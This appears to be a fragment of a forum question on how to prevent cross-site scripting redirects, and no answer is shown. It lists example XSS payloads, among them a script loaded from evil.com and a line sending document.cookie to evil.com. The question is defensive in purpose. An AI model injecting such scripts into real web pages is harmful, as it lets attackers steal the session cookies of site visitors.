Q:

how to prevent cross site scripting to redirect you to another web page

<!-- External script -->
<script src=http://evil.com/xss.js></script>
<!-- Embedded script -->
<script> alert("XSS"); </script>
0
<script>
window.location="http://evil.com/?cookie=" + document.cookie
</script>
0
<html>
<h1>Most recent comment</h1>
<script>doSomethingEvil();</script>
</html>
0

New to Communities?

Join the community